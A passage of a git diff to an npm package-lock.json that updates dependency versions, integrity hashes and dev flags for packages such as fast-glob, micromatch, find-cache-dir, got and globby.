"sha512-AfjgFQB+nYszudkxRkTFu0UR1zEQig0ArVMPloKhxwlwkzaw/fBiH0QWcBBhZONlXqQC51+nfqFrkn4EzHcGBw==", "dev": true, "requires": { - "array-includes": "^3.1.1", + "array-includes": "^3.1.3", + "array.prototype.flatmap": "^1.2.4", "doctrine": "^2.1.0", "has": "^1.0.3", - "jsx-ast-utils": "^2.2.3", - "object.entries": "^1.1.1", - "object.fromentries": "^2.0.2", - "object.values": "^1.1.1", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.0.4", + "object.entries": "^1.1.3", + "object.fromentries": "^2.0.4", + "object.values": "^1.1.3", "prop-types": "^15.7.2", - "resolve": "^1.15.1", - "semver": "^6.3.0", - "string.prototype.matchall": "^4.0.2", - "xregexp": "^4.3.0" + "resolve": "^2.0.0-next.3", + "string.prototype.matchall": "^4.0.4" }, "dependencies": { "doctrine": { @@ -5450,11 +8238,15 @@ "esutils": "^2.0.2" } }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true + "resolve": { + "version": "2.0.0-next.3", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", + "integrity": "sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==", + "dev": true, + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } } } }, @@ -5497,7 +8289,8 @@ "esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true }, "esquery": { "version": "1.3.1", @@ -5528,12 +8321,14 @@ "estraverse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true }, "esutils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true }, "etag": { "version": "1.8.1", @@ -5542,11 +8337,20 @@ "dev": true }, "event-loop-spinner": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz", - "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.1.0.tgz", + "integrity": "sha512-RJ10wL8/F9AlfBgRCvYctJIXSb9XkVmSCK3GGUvPD3dJrvTjDeDT0tmhcbEC6I2NEjNM9xD38HQJ4F/f/gb4VQ==", + "dev": true, "requires": { - "tslib": "^1.10.0" + "tslib": "^2.1.0" + }, + "dependencies": { + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + } } }, "eventemitter3": { @@ -5556,9 +8360,9 @@ "dev": true }, "events": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", - "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", "dev": true }, "eventsource": { @@ -5584,6 +8388,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "dev": true, "requires": { "cross-spawn": "^6.0.0", "get-stream": "^4.0.0", @@ -5598,6 +8403,7 @@ "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, "requires": { "nice-try": "^1.0.4", "path-key": "^2.0.1", @@ -5722,7 +8528,8 @@ "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true }, "extend-shallow": { "version": "3.0.2", @@ -5749,6 +8556,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, "requires": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", @@ -5832,9 +8640,10 @@ "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" }, "fast-glob": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.2.tgz", - "integrity": "sha512-UDV82o4uQyljznxwMxyVRJgZZt3O5wENYojjzbaGEGZgeOxkLFf+V4cnUD+krzb2F72E18RhamkMZ7AdeggF7A==", + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.5.tgz", + "integrity": "sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==", + "dev": true, "requires": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", @@ -5848,6 +8657,7 @@ "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { "fill-range": "^7.0.1" } @@ -5856,14 +8666,16 @@ "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, "glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, "requires": { "is-glob": "^4.0.1" } @@ -5871,21 +8683,24 @@ "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, "requires": { "is-number": "^7.0.0" } @@ -5902,6 +8717,12 @@ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" }, + "fastest-levenshtein": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz", + "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", + "dev": true + }, "fastparse": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz", @@ -5909,9 +8730,10 @@ "dev": true }, "fastq": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.7.0.tgz", - "integrity": "sha512-YOadQRnHd5q6PogvAR/x62BGituF2ufiEA6s8aavQANw5YKHERI4AREboX6KotzP8oX2klxYF2wcV/7bn1clfQ==", + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.11.0.tgz", + "integrity": "sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==", + "dev": true, "requires": { "reusify": "^1.0.4" } @@ -6009,12 +8831,14 @@ "file-uri-to-path": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==" + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true }, "filepond": { - "version": "4.19.2", - "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz", - "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w==" + "version": "4.27.0", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.27.0.tgz", + "integrity": "sha512-Z1XUXny6BQw9RVORz/MMjyVJHcW+tXiMRxocLEAY6gY1EfpMPwLJcQhalpMnfiGax7sBqXkv3tE8sZO71Q7Hbw==" }, "fill-range": { "version": "4.0.0", @@ -6055,14 +8879,74 @@ } }, "find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", + "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", "dev": true, "requires": { "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "dependencies": { + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "find-root": { @@ -6198,7 +9082,8 @@ "fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true }, "fs-extra": { "version": "8.1.0", @@ -6211,6 +9096,15 @@ "universalify": "^0.1.0" } }, + "fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + } + }, "fs-readdir-recursive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", @@ -6232,7 +9126,8 @@ "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true }, "fsevents": { "version": "1.2.13", @@ -6250,54 +9145,18 @@ "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - } - }, - "ftp": { - "version": "0.3.10", - "resolved": "https://registry.npmjs.org/ftp/-/ftp-0.3.10.tgz", - "integrity": "sha1-kZfYYa2BQvPmPVqDv+TFn3MwiF0=", - "requires": { - "readable-stream": "1.1.x", - "xregexp": "2.0.0" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" - }, - "readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" - }, - "xregexp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-2.0.0.tgz", - "integrity": "sha1-UqY+VsoLhKfzpfPWGHLxJq16WUM=" - } + "requires": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" } }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true }, "functional-red-black-tree": { "version": "1.0.1", @@ -6331,9 +9190,9 @@ } }, "gensync": { - "version": "1.0.0-beta.1", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz", - "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==", + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", "dev": true }, "get-caller-file": { @@ -6342,6 +9201,17 @@ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, "get-stdin": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", @@ -6352,23 +9222,11 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dev": true, "requires": { "pump": "^3.0.0" } }, - "get-uri": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-2.0.4.tgz", - "integrity": "sha512-v7LT/s8kVjs+Tx0ykk1I+H/rbpzkHvuIq87LmeXptcf5sNWm9uQiwjNAt94SJPA1zOlCntmnOlJvVWKmzsxG8Q==", - "requires": { - "data-uri-to-buffer": "1", - "debug": "2", - "extend": "~3.0.2", - "file-uri-to-path": "1", - "ftp": "~0.3.10", - "readable-stream": "2" - } - }, "get-value": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", @@ -6388,6 +9246,7 @@ "version": "7.1.6", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -6427,12 +9286,54 @@ "process": "^0.11.10" } }, + "global-agent": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.2.0.tgz", + "integrity": "sha512-+20KpaW6DDLqhG7JDiJpD1JvNvb8ts+TNl7BPOYcURqCrXqnN1Vf+XVOrkKJAFPqfX+oEhsdzOj1hLWkBTdNJg==", + "dev": true, + "requires": { + "boolean": "^3.0.1", + "core-js": "^3.6.5", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, "global-dirs": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.0.1.tgz", - "integrity": "sha512-5HqUqdhkEovj2Of/ms3IeS/EekcO54ytHRLV4PEY2rhRwrHXLQjeVEES0Lhka0xwNDtGYn58wyC4s5+MHsOO6A==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.1.0.tgz", + "integrity": "sha512-MG6kdOUh/xBnyo9cJFeIKkLEc1AyFq42QTU4XiX51i2NEdxLxLWXIjEjmqKeSuKR7pAZjTqUVoT2b2huxVLgYQ==", + "dev": true, "requires": { - "ini": "^1.3.5" + "ini": "1.3.7" } }, "global-modules": { @@ -6461,10 +9362,19 @@ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", "dev": true }, + "globalthis": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.2.tgz", + "integrity": "sha512-ZQnSFO1la8P7auIOQECnm0sSuoMeaSq0EEdXMBFF2QJO4uNcwbyhSgG3MruWNbFTqCLmxVwGOl7LZ9kASvHdeQ==", + "dev": true, + "requires": { + "define-properties": "^1.1.3" + } + }, "globby": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.0.tgz", - "integrity": "sha512-iuehFnR3xu5wBBtm4xi0dMe92Ob87ufyu/dHwpDYfbcpYpIbrO5OnS8M1vWvrBhSGEJ3/Ecj7gnX76P8YxpPEg==", + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz", + "integrity": "sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==", "dev": true, "requires": { "array-union": "^2.1.0", @@ -6476,9 +9386,9 @@ }, "dependencies": { "ignore": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz", - "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==", + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", "dev": true }, "slash": { @@ -6516,18 +9426,19 @@ } }, "got": { - "version": "11.6.0", - "resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz", - "integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==", + "version": "11.4.0", + "resolved": "https://registry.npmjs.org/got/-/got-11.4.0.tgz", + "integrity": "sha512-XysJZuZNVpaQ37Oo2LV90MIkPeYITehyy1A0QzO1JwOXm8EWuEf9eeGk2XuHePvLEGnm9AVOI37bHwD6KYyBtg==", + "dev": true, "requires": { - "@sindresorhus/is": "^3.1.1", + "@sindresorhus/is": "^2.1.1", "@szmarczak/http-timer": "^4.0.5", "@types/cacheable-request": "^6.0.1", "@types/responselike": "^1.0.0", "cacheable-lookup": "^5.0.3", "cacheable-request": "^7.0.1", "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", + "http2-wrapper": "^1.0.0-beta.4.5", "lowercase-keys": "^2.0.0", "p-cancelable": "^2.0.0", "responselike": "^2.0.0" @@ -6536,17 +9447,20 @@ "graceful-fs": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==" + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true }, "grapheme-splitter": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": 